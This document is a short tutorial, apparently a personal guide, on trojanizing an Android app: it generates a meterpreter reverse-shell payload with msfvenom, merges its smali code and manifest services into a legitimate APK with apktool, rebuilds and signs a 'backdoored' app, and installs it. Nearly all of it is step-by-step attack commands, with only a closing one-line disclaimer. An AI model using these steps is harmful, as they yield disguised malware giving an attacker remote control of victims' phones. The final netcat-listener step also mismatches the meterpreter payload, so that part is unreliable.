# Binding a Shell on Android Without Metasploit

Author: Chanuka Kaushal

Age: 15

## Introduction

This guide walks you through the process of manually binding a reverse shell to an APK on an Android device, without using Metasploit. We’ll focus on performing this process using mobile tools like Termux and APKTool, providing a hands-on approach to ethical hacking.

## Chapter 1: What is a Reverse Shell?

A reverse shell is a type of shell where the target device (victim) connects back to the attacker's device. This connection gives the attacker remote control over the target system. Typically, tools like Metasploit make this easy, but here, we’ll show how to bind a reverse shell to an APK manually.

## Chapter 2: Tools You’ll Need

1. Termux (for terminal access on Android)

2. APKTool (for decompiling and recompiling APKs)

3. A pre-generated payload (reverse shell payload)

4. OpenJDK (for signing APKs)

## Chapter 3: Preparing the Payload

Before binding, we need a payload (reverse shell) to inject into an APK. You can generate this payload using other tools on a laptop and transfer it to your mobile.

- Generate a payload using `msfvenom`:  
 ```bash  
 msfvenom -p android/meterpreter/reverse\_tcp LHOST=<your-ip> LPORT=<your-port> R > payload.apk  
 ```  
Transfer this APK to your mobile device.

## Chapter 4: Decompiling APKs

### Step 1: Install APKTool

In Termux:

```bash  
apt update && apt install apktool  
```

### Step 2: Decompile the Target APK

- For the original APK:

```bash  
apktool d original\_app.apk -o original\_app  
```

- For the payload APK:

```bash  
apktool d payload.apk -o payload\_app  
```

## Chapter 5: Merging the Payload into the APK

### Step 1: Copy Payload Code

You need to copy the payload’s smali files and merge them into the decompiled original APK. Here’s how to do it:

```bash  
cp -r payload\_app/smali/\* original\_app/smali/  
```

### Step 2: Modify the Manifest

Add the necessary payload services to the `AndroidManifest.xml` of the original APK. Open the `original\_app/AndroidManifest.xml` and copy over any `<service>` or `<receiver>` entries from the payload’s manifest.

## Chapter 6: Recompiling and Signing the APK

### Step 1: Recompile the APK

Rebuild the APK with APKTool:

```bash  
apktool b original\_app -o backdoored\_app.apk  
```

### Step 2: Sign the APK

You need to sign the APK before it can be installed. In Termux, use the following commands:

- \*\*Generate a key\*\* (if you don’t have one already):

```bash  
keytool -genkey -v -keystore my-release-key.keystore -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-alias  
```

- \*\*Sign the APK\*\*:

```bash  
apksigner sign --ks my-release-key.keystore --out signed\_backdoored\_app.apk backdoored\_app.apk  
```

## Chapter 7: Testing the Backdoor

Once the APK is signed, install it on your device:  
```bash  
adb install signed\_backdoored\_app.apk  
```

You should now have a reverse shell payload inside your APK. Use a Netcat listener on your machine to catch the connection:  
```bash  
nc -lvnp <your-port>  
```

## Chapter 8: Final Notes

Always follow ethical guidelines. This guide is for educational purposes only, and you should never attempt to bind payloads to apps without proper authorization.